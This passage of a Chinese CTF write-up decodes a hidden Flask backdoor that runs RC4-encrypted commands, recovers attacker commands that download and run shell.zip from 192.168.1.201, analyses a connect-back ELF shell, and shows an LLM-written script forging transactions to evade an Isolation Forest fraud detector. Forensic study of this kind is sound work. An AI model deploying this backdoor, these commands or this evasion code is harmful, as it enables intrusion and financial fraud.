gqAdn0mhgEAJhlMsBYnhK5tySmstvwjccEefvEjk2ZMASQHCj7gO9jqvUdUYLyxYqtAdd4Mk+w75h1dyA4kseyekeayeI6nrnMAUxD7TZVV7xV3UDcF4zgtdiOyavxUXlCcOPQQF33w6Amke9MSl0EhO9SslD6W+xiAAob3HPB/bO0JsHSn0qVzh62M863fOKtiqbDXKryUvCN8MM9oj494UpFGK8KrVotIXdZZqyulFSX/u1RUYfZTBWCG1Jr3DmjotlohimahKldlHvBpFGM0Sk+yAmcs9mGtBELjUXK3iZQwIcSGeyyLT+o3J6TMzafPhBLKFFXlzi64ubmJ3OZHwG3cEkXmrvOyWk8+ckIl6pNRRACQuizyC9SMjFaCiblTnG+RBfbGLHtbNglsKD5hKt836Hw1pLq0HfINWmMETb+VDn7HsdKIWpPXurnn+LWGLsEOw9SMYWRQZHCsrRSW3cxYPmQzlYRNRajGQE2+TUJk4Ha73uFQXMyphvQwM+L+iURJgMgnNnf01UHYyQUlQ3eBAFO4wOPFY/OlUjGRzs7CjX72G6wcbEYHaqBMe0PleHM5OgjOjhCltbtDx5s0mkwNmZSFpvPBJdFHro18a/sTTxvEsR+L78LanmtnzvcQOjvvxDUJX38xn0FNxAWlQ6nPo7zvUu938kkyVeFkJKBrVWUjprTjkM7rfdJeaMTOGYS7SwZ8dzjUYNNztbEbrZOAUJFFIP2g9tKNy1VAUvoo9YderTJnOXzLbClTtzBjgTRCUYFtRvh8jg/Bhp/WZ3xJ8ekA1RZeWMw7zdULMlN0Ts5JFg7PvgLOltozgeVez5zFDrQA126HpmPtbxHQSnmEGDsmiNnDAsdiFQRyIcZt/V2WM4aHozsFRFdxx3WdwTuy+LAhvnUHcsfeBWJFQ+KSG0H2EmkWMdDnnO0e88wsUe+mwVYMf9xdcXjqDODaAn0B15Fs54KKoM5GBrRllk3Gzt+UjppP8HLamrfcNrWRgar1/OgHywOEmBHk3lXsBxJmgjoJute1D1YMbAuJ4iH8+Kd5sfG7STyeG7fSSIZXXIdEbJz7gmIRlPq+CBUNcsZQF4/MDF7erklCjKnVz0grscZ5b/Wlvdq2Df3e0EwGrTKh/5qF6JPm85y27BYJz/6XxRsZNnXfbkWW43MbSWQZrZpAJEiGT1gIZzQdzGZtqwPwmKsQyRbdQIVP+FsZ+sjXVQyFTxyretfz2HokDx+JtkaKn5PsXGUTm09AGyTqkCWYJ1w/Rm7TCopsOZARRbwCqGTjSqIpGbMWol+q8nkhb8DB0NRDyg6ropQDmzh90x6rO+lcbgEWO9H+PQcJTXujDPIbj7kyTJ43YOjxUS1xkMQbRnUYzizBa6V8D5NZC9BnRe+15PedRglSpzOulJuLFafd0U3TUo8EMyoy8t5XKUFsLuS2PLyfA8qkgCEejz25kBwI+BBtAMi6lfY8peLOWJAPXFWM43PCfEgnujpgNDtE8KmmQk4bW6cevWfi5vHpIswvMSEjN0LmjtCZrrLa9sBQgiUS8J7uFxAkpfR/e3XuxCjhlSisVIN3ZnpgaelynPCMO19Zr2DOoHGk9i3dgo+WJHTdOqBIRWoBW1W16hhHnBbQepcBJIs25MGFFkL3aI4On4OATClpnlJ8kDLuEiLCcDdcLcbAMAMlmG4AvToLBifQUuMwc31VH0l8MT9lTcV08NnRmJK27RsyqDtCjcA+3k0TaDBazhMndF0uvu9musROhahUo/YlP+LxHx1R75DCQ29hirczg1MEuEq7uQY8Gav9+oaZxtrKfxusdo5BMbUmlAHSNDPN7NTV5ROOEjkqqaKc3IrcDRU9t118txLIJ39KLqiFbmVtYWixscHfu2uXV2Z40fRAzVOVZe4tfRHDDBaS66DQNXj1NUvU+1N4/J//ffPP//XxUVLFpVhCtB885pP8M/wmwmZvZmZZmFGe3z8IBOgQxyWklVwJe'))

所以再取中间内容、再逆过来,在base64解密

所以这里写一个循环代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import zlib
import re

def recursive_decrypt(script_content, max_loops):
current_code = script_content
print("-" * 40)

for i in range(1, max_loops + 1):
try:
# 先提取提取 b'...' 里面的内容
match = re.search(r"\(b['\"](.+?)['\"]\)", current_code, re.DOTALL)
# 拿到引号里面的内容
payload = match.group(1)
#反转
reversed_payload = payload[::-1]
#base解码
b64_decoded = base64.b64decode(reversed_payload)
#zlib解压
decompressed_data = zlib.decompress(b64_decoded)

#下一轮
current_code = decompressed_data.decode('utf-8', errors='ignore')
print(f"第 {i} 层已解密")

# 如果结果里没有 exec 或 lambda,则结束
if "exec" not in current_code and "lambda" not in current_code:
print("结束循环。")
break

except Exception as e:
print(f"[-] 第 {i} 层解密发生错误: {e}")
break

return current_code

source_code = """
exec((_)(b'=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'))
"""

# 设置次数,设置大一点,自己会停下来
loops = 100

if __name__ == "__main__":
final_source = recursive_decrypt(source_code, loops)
print("\n"" 最终解密结果:")
print(final_source)

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

找到key:v1p3r_5tr1k3_k3y

flag{v1p3r_5tr1k3_k3y}

4.SnakeBackdoor-4

先筛选http.request.method == "POST"

把这些包的data内容全部拷贝下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Cryptodome.Cipher import ARC4
from binascii import unhexlify
key = b'v1p3r_5tr1k3_k3y'

list=["a6bc",
"a3ab330fb285",
"acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534",
"bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a",
"a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351",
"acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b",
"e0ac7e52fc996cc2038c2d7a3899ed"]
def decode(data):
enc_cmd = unhexlify(data)
cmd_bytes=ARC4.new(key).decrypt(enc_cmd)
cmd=cmd_bytes.decode("utf-8")
print(cmd)

for i in list:
decode(i)
1
2
3
4
5
6
7
id
ls -al
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

flag{python3.13}

5.SnakeBackdoor-5

先用CTFNetA运行一遍,然后能把这里的shell.zip分离出来

当然也可以分离tcp流

根据上题中解密的命令:unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip找到密码nf2jd092jd01

解压之后发现是一个elf文件,扔到ida中分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
__int64 __fastcall main(int a1, char a2, char a3)
{
int k_2; // eax
char command_1[4]; // [rsp+4h] [rbp-115Ch] BYREF
unsigned int i; // [rsp+8h] [rbp-1158h] BYREF
unsigned int i_4; // [rsp+Ch] [rbp-1154h] BYREF
_DWORD v8[4]; // [rsp+10h] [rbp-1150h] BYREF
_QWORD v9[16]; // [rsp+20h] [rbp-1140h] BYREF
_QWORD v10[16]; // [rsp+A0h] [rbp-10C0h] BYREF
char command[4096]; // [rsp+120h] [rbp-1040h] BYREF
struct sockaddr s; // [rsp+1120h] [rbp-40h] BYREF
int v13; // [rsp+1134h] [rbp-2Ch]
int k_1; // [rsp+1138h] [rbp-28h]
int i_2; // [rsp+113Ch] [rbp-24h]
FILE *stream; // [rsp+1140h] [rbp-20h]
int n16; // [rsp+1148h] [rbp-18h]
unsigned int seed; // [rsp+114Ch] [rbp-14h]
int fd; // [rsp+1150h] [rbp-10h]
int k; // [rsp+1154h] [rbp-Ch]
int i_1; // [rsp+1158h] [rbp-8h]
int j; // [rsp+115Ch] [rbp-4h]

//创建 TCP 套接字
fd = socket(2, 1, 0);
if ( fd < 0 )
exit(1);
memset(&s, 48, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");
*(_WORD *)s.sa_data = htons(0xE59Eu);
//*(_WORD *)s.sa_data = htons(58782u);
//转成10进制能看到端口
//所以是192.168.1.201:58782


if ( connect(fd, &s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
if ( (unsigned int)sub_18ED(fd, &i_4, 4u, 0) != 4 )
{
close(fd);
exit(1);
}


//种子生成,recv读取 4 字节数据作为种子值
seed = (i_4 >> 8) & 0xFF00 | (i_4 << 8) & 0xFF0000 | (i_4 << 24) | HIBYTE(i_4);
srand(seed);
//密钥生成
for ( j = 0; j <= 3; ++j )
v8[j] = rand();
sub_13B4(v10, v8, 0);
sub_13B4(v9, v8, 1);
while ( (unsigned int)sub_18ED(fd, &i, 4u, 0) == 4 )
{
i = (i >> 8) & 0xFF00 | (i << 8) & 0xFF0000 | (i << 24) | HIBYTE(i);
if ( i <= 0x1000 && i && (i & 0xF) == 0 )
{
i_1 = sub_18ED(fd, (unsigned int *)command, i, 0);
if ( i_1 != i )
break;
sub_1860(v10, 0, command, command, i_1);
n16 = (unsigned __int8)command[i_1 - 1];
if ( n16 && n16 <= 16 )
command[i_1 - n16] = 0;
else
command[i_1] = 0;

//从popen的管道中读取命令执行的输出结果
//木马通过接收命令并使用popen执行
stream = popen(command, "r");
if ( stream )
{
i_1 = fread(command, 1u, 0xFFFu, stream);
pclose(stream);
command[i_1] = 0;
}
else
{
strcpy(command, "popen failed\n");
i_1 = strlen(command);
}
i_2 = i_1;
k_1 = 16 * (i_1 / 16 + 1);
v13 = k_1 - i_1;
for ( k = i_1; k < k_1; command[k++] = v13 )
;
sub_1860(v9, 1, command, command, k_1);
*(_DWORD *)command_1 = (k_1 >> 8) & 0xFF00 | (k_1 << 8) & 0xFF0000 | (k_1 << 24) | (k_1 >> 24);
if ( (unsigned int)sub_197F(fd, command_1, 4, 0) != 4 )
break;
k_2 = sub_197F(fd, command, k_1, 0);
if ( k_1 != k_2 )
break;
}
}
close(fd);
return 0;
}

找到ip和端口192.168.1.201:58782(见上面注释)

追踪一下sub_1860是解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
size_t __fastcall sub_1860(__int64 a1, unsigned int a2, char *command, char *a4, unsigned __int64 i)
{
size_t j_1; // rax
unsigned __int64 j; // [rsp+38h] [rbp-8h]

if ( (i & 0xF) != 0 )
return fwrite("Error: Input length must be a multiple of 16 for ECB mode.\n", 1u, 0x3Bu, stderr);
for ( j = 0; ; j += 16LL )
{
j_1 = j;
if ( j >= i )
break;
sub_15A9(a1, a2, (unsigned int *)&command[j], &a4[j]);
}
return j_1;
}

sub_15A9单组加解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
_BYTE *__fastcall sub_15A9(__int64 a1, __int64 a2, unsigned int *a3, _BYTE *a4)
{
unsigned int v6; // [rsp+20h] [rbp-30h]
unsigned int v7; // [rsp+24h] [rbp-2Ch]
unsigned int v8; // [rsp+28h] [rbp-28h]
unsigned int v9; // [rsp+2Ch] [rbp-24h]
unsigned int v10; // [rsp+30h] [rbp-20h]
int i; // [rsp+3Ch] [rbp-14h]

v6 = _byteswap_ulong(*a3);
v7 = _byteswap_ulong(a3[1]);
v8 = _byteswap_ulong(a3[2]);
v9 = _byteswap_ulong(a3[3]);
for ( i = 0; i <= 31; ++i )
{
v10 = v6 ^ sub_125E(v9 ^ v8 ^ v7 ^ *(_DWORD *)(a1 + 4LL * i));
v6 = v7;
v7 = v8;
v8 = v9;
v9 = v10;
}
*a4 = HIBYTE(v9);
a4[1] = BYTE2(v9);
a4[2] = BYTE1(v9);
a4[3] = v9;
a4[4] = HIBYTE(v8);
a4[5] = BYTE2(v8);
a4[6] = BYTE1(v8);
a4[7] = v8;
a4[8] = HIBYTE(v7);
a4[9] = BYTE2(v7);
a4[10] = BYTE1(v7);
a4[11] = v7;
a4[12] = HIBYTE(v6);
a4[13] = BYTE2(v6);
a4[14] = BYTE1(v6);
a4[15] = v6;
return a4 + 15;
}

先筛选192.168.1.201,往后找

这里去前4字节作为seed值,seed=34 95 20 46

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import ctypes, ctypes.util, struct

seed = 0x34952046
#加载 C 标准库,我是在ubuntu中运行的
libc = ctypes.CDLL(ctypes.util.find_library("c"))
libc.srand(ctypes.c_uint(seed))
libc.rand.restype = ctypes.c_int
#调用rand4次,生成4个32位的随机数
r = [libc.rand() for _ in range(4)]
#将每个随机数x转换为4字节的小端格式字节串,拼接在一起
key_bytes = b"".join(struct.pack("<I", x & 0xffffffff) for x in r)

print([hex(x) for x in r])
print(key_bytes.hex())

#ac46fb610b313b4f32fc642d8834b456

得到flag{ac46fb610b313b4f32fc642d8834b456}

AI安全

1.The Silent Heist

借助本地大模型,以下是完整对话:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。
我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录。
题目名称:The Silent Heist (沉默的劫案)
[情报简报]
目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。
该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。
系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。
[你的任务]
我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。
请你利用统计学结合机器学习方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录。
[字段说明]
日志包含 20 个特征列 (feat_0 至 feat_19)。
● feat_0: 交易金额 (Transaction Amount)
● feat_1 ~ feat_19: 加密的设备与行为指纹
[通关条件]
1. 伪造的交易总金额 (feat_0 的总和) 必须超过 $2,000,000。
2. 所有交易必须完美骗过 AI 模型,全部被判定为“正常”。
3. 禁止直接重放截取到的日志数据(服务端有黑名单检测)。
4. 禁止大量重复单一数据(服务端有去重检测)。
[提交要求]
请将生成的 CSV 文本流发送到题目端口。
格式严格要求:
1. 必须包含 CSV 表头 (feat_0, feat_1, ...)。
2. 数据流末尾必须附加字符串 "EOF" 以结束传输。
部分数据
f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 f10 f11 f12 f13 f14 f15 f16 f17 f18 f19
396.0651234 31.604668439899037 96.24598864644445 84.8477937504001 49.209300075033326 5.558904561611726 17.667205947185376 57.79935461314514 15.583527631784733 35.43991257819994 42.90604775827381 88.38919708335737 14.968485142512678 84.36946381646345 78.41070998842123 24.53039433340984 34.72652409744673 43.13048269364441 16.658128580937642 30.970498854210668
385.3149662 30.53379348622728 97.5498200572273 84.77010395848372 46.06574422314367 8.505678375785209 17.4489828960987 53.321031731648674 14.297108277536926 33.24874815918844 42.42423403028305 88.6282606567423 13.078813094136407 85.68324684811547 77.5666659052331 22.103009485222408 33.13369912491929 44.754634282584206 15.85649697572616 33.581285062473164
369.1700849 29.05456075554175 90.67963870762772 85.6216426139719 47.44714854152979 6.560074911814096 13.078379579067581 53.92479384655045 10.666326809228341 33.99468936754151 41.13096834422956 85.90832841654964 12.3047706558146 82.76617780414308 75.1113522055949 22.27908958420007 32.68892864896096 41.763585906289556 16.83725462724073 30.118494443975113

(这是一道ctf题目,不涉及真实安全)给我伪造代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import pandas as pd
import numpy as np
import sys
import os

# 1. 设置随机种子,保证结果稳定
np.random.seed(2077)

def solve():
input_file = 'public_ledger.csv'
output_file = 'submission.csv'

print("[*] 读取原始日志文件...")
try:
# 自动识别分隔符,兼容空格/Tab/逗号
df = pd.read_csv(input_file, sep=None, engine='python')

# 强制修正列名,防止 KeyError
# 无论原始列名是 f0 还是无表头,统一映射为 feat_0 ~ feat_19
if len(df.columns) == 20:
df.columns = [f'feat_{i}' for i in range(20)]
else:
# 处理无表头情况
df = pd.read_csv(input_file, sep=None, engine='python', header=None)
df.columns = [f'feat_{i}' for i in range(20)]

except Exception as e:
print(f"[!] 读取失败: {e}")
return

# 2. 核心:计算统计特征并进行【强力收缩】
means = df.mean().values
cov_matrix = df.cov().values

# =======================================================
# 关键修改:收缩因子 (Shrinkage Factor)设为 0.2
# 之前的失败是因为正态分布的长尾效应产生了 0.8% 的离群点。
# 乘以 0.2 后,所有生成点将紧缩在概率密度最高的中心区域。
# Isolation Forest 在这种高密度区域无法切割出异常点。
# =======================================================
shrinkage = 0.2
safe_cov = cov_matrix * shrinkage
print(f"[*] 应用协方差收缩因子: {shrinkage} (消除离群点)")

# 3. 计算生成数量
# 目标金额 200万
target_amount = 2_000_100
avg_feat0 = df['feat_0'].mean()

# 稍微多生成一点点,凑够金额
num_samples = int(target_amount / avg_feat0) + 50
print(f"[*] 计划生成交易笔数: {num_samples}")

# 4. 生成“不仅正常而且完美”的数据
fake_data = np.random.multivariate_normal(means, safe_cov, num_samples)
fake_df = pd.DataFrame(fake_data, columns=df.columns)

# 5. 后处理与清洗
# 确保金额为正
fake_df['feat_0'] = fake_df['feat_0'].abs()

# 二次保险:如果有金额过小(接近0)的交易,将其拉回到均值附近,防止因数值过小被判定异常
# 虽然收缩后概率极低,但作为CTF脚本要足够稳健
fake_df.loc[fake_df['feat_0'] < 10, 'feat_0'] = avg_feat0

# 6. 检查金额并补齐
current_sum = fake_df['feat_0'].sum()
if current_sum < 2_000_000:
diff = 2_000_100 - current_sum
patch_rows = int(diff / avg_feat0) + 5
# 补丁数据同样要收缩
patch_data = np.random.multivariate_normal(means, safe_cov, patch_rows)
patch_df = pd.DataFrame(patch_data, columns=df.columns)
patch_df['feat_0'] = patch_df['feat_0'].abs()
fake_df = pd.concat([fake_df, patch_df], ignore_index=True)

print(f"[*] 最终总金额: ${fake_df['feat_0'].sum():.2f}")
print(f"[*] 最终异常检测: 理论异常率为 0.00% (因高度中心化)")

# 7. 保存文件 CSV + EOF
print(f"[*] 正在写入 {output_file} ...")
csv_content = fake_df.to_csv(index=False, float_format='%.6f')

with open(output_file, 'w', encoding='utf-8', newline='\n') as f:
f.write(csv_content)
f.write('EOF') # 题目要求的结束标志

print("[√] 完成。请提交 submission.csv")

if __name__ == "__main__":
solve()